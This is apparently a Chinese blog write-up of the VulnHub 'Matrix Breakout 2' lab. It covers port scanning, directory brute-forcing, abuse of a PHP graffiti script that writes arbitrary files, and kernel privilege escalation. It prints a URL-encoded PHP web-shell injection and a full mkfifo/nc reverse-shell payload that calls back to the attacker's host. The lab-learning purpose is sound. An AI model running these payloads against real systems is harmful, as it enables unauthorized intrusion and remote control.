vulnhub靶机matrix breakout 2

文章描述了一次通过端口扫描发现80和81端口的web服务,其中81端口运行着nginx。在目录爆破过程中找到graffiti.txt和php文件,发现可以利用PHP脚本写入同名txt文件,并过滤特定内容。通过URL编码绕过限制,尝试写入web后门,最终利用系统漏洞进行权限提升,包括尝试内核提权来获取flag。在这一过程中,内核提权成为关键步骤。
摘要由CSDN通过智能技术生成

端口扫描

22 80 81 其中80和81都是web服务,81为nginx

目录爆破时候发现了graffiti.txt和php文件

这里发现提交的message会保存在同名的txt文件下,同时会过滤一些东西。

同时发现参数中存在一个file文件

curl -X POST  http://10.10.1.138/graffiti.php --data 'message=&file=graffiti.php' 

我们尝试去请求 同名的php文件,看是否能读取

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<h1>
<br>
<center>
<br>
Nebuchadnezzar Graffiti Wall
<br>

<br>
</center>
<br>
</h1>
<br>
<p>
<br>
<?php
<br>

<br>
$file="graffiti.txt";
<br>
if($_SERVER['REQUEST_METHOD'] == 'POST') {
<br>
    if (isset($_POST['file'])) {
<br>
       $file=$_POST['file'];
<br>
    }
<br>
    if (isset($_POST['message'])) {
<br>
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
<br>
        fwrite($handle, $_POST['message']);
<br>
        fwrite($handle, "\n");
<br>
        fclose($file); 
<br>
    }
<br>
}
<br>

<br>
// Display file
<br>
$handle = fopen($file,"r");
<br>
while (!feof($handle)) {
<br>
  echo fgets($handle);
<br>
  echo "<br>\n";
<br>
}
<br>
fclose($handle);

这段代码会把我们提交的message参数的值写入提交的file中。

那么我们可以利用这个点向文件写入后门

这里我们可以测试,用url编码可以绕过限制

对<?php phpinfo?>进行编码

%3C%3Fphp+phpinfo%28%29%3B%3F%3E

写入一个文件中

追加的特性,如果不存在就直接创建一个

到这我们就可以写入我们的shell了,但是经过尝试/bin/bash 和nc的都不行,但执行web后门可以

反弹shell要用这个

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.128 80 >/tmp/f")?>

编码写入即可

权限提升

根目录下找到一个flag,提示我们去向史密斯找cypher的密码

在nginx的目录下可以找到cypher的密码

但是这个md5一直没撞到

后续找到是s*az但是这个密码并不正确,无奈只能尝试内核提权

经过尝试第二个可以使用

编译后执行时带上一个suid二进制文件即可提权成功

 

回头去看cypher这条路时发现好像最后还是要用内核提权。。。。

总结

撕开口子的地方还是通过目录扫描发现新的点,然后发现是一个存在限制的写入点,尝试用url绕过,最后利用系统漏洞提权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值